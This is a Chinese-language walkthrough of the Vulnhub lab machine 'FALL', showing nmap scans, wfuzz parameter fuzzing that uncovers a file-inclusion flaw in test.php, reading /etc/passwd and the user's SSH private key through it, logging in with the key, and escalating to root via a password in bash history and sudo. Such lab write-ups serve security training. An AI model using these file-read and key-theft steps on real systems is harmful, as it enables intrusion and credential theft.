Vulnhub實戰-FULL靶機?
下載地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/
1.描述
通過描述我們可以知道這個靶機列舉比較多。
2.主機探測,埠掃描
- 主機探測
可以看到掃出主機IP為:192.168.33.60
nmap -sn 192.168.33.0/24
- 接下來進行埠掃描,服務發現
nmaps -sS -p- -v 192.168.33.60
我們可以看到開啟了22,80,139,443,445,3306,9090埠,這裡埠一大部分都是障眼法噢,比如那個3306,不管了80埠開了,肯定有web服務了,先去看看再說。
3.web服務測試
- 訪問IP開啟看到一個頁面,然後找找看看發現了這樣一個頁面:
這句話說讓我們不要再用test指令碼去汙染webroot了?,我沒幹。那既然有人幹了,我們就去看看test.php在不在吧,訪問http://192.168.33.60/test.php
,得到如下提示:
提示:說我們的http引數錯誤
還記得一開始說的這個靶機列舉比較多嘛,這裡我們爆破以下http引數吧,通過wfuzz(kali自帶的)
不懂命令的可以看看這個教程:https://www.cnblogs.com/Xy--1/p/12913514.html
wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 80 --hc 404,403 -u "http://192.168.33.60/test.php?FUZZ=/etc/passwd" -t 60
可以看到我們成功爆出引數file了,通過file去訪問一下看看:
http://192.168.33.60/test.php?file=/etc/passwd
我們看到了使用者名稱qiu,然後這裡接著就是通過ssh金鑰登入ssh了。
ssh金鑰登入的相關知識可以參考如下文章:https://wangdoc.com/ssh/key.html
我們這裡通過file存在檔案包含漏洞了,接下來我們看看預設的存在金鑰的地方有沒有私鑰吧。
ssh金鑰預設存放目錄:
/home/使用者名稱/.ssh/id_rsa //rsa加密的私鑰
/home/使用者名稱/.ssh/id_rsa.pub //rsa加密的公鑰
/home/使用者名稱/.ssh/id_dsa //dsa加密的私鑰
/home/使用者名稱/.ssh/id_rsa.pub //dsa加密的公鑰
一般ssh加密演算法就是rsa和dsa加密。以上都是ssh金鑰的預設檔名和預設存放目錄
接下來我們嘗試讀取以下發現了rsa加密的私鑰:
我們把私鑰檔案下載到kali上面然後通過私鑰登入ssh,通過私鑰登入是不需要密碼的,(當然你也可以設定要密碼,預設不需要?)
wget http://192.168.33.60/test.php?file=/home/qiu/.ssh/id_rsa -O id_rsa
ssh qiu@192.168.33.60 -i id_rsa
4.提權
成功登入ssh之後,我們發現當前使用者是qiu,接下來我們想辦法提權到root使用者。
- 我們首先看看歷史命令執行了什麼,通過檢視歷史命令我們發現了當前使用者的密碼,然後我們看看能夠以root許可權執行什麼命令,我們發現使用者可以通過sudo執行所以命令,那麼我們就能夠通過qiu的密碼去登入到root使用者了。執行
sudo su
命令成功切換到root使用者。
ls -al
cat .bash_history
sudo -l
sudo su
接下來讀取proof.txt,先給它777許可權在讀取,得到flag!?
個人總結:通過這篇文章我明白了ssh登入可以通過金鑰登入,比密碼登入更加安全,因為密碼登入,弱密碼存在被爆破的可能性,密碼太難了又記不住。學到了!?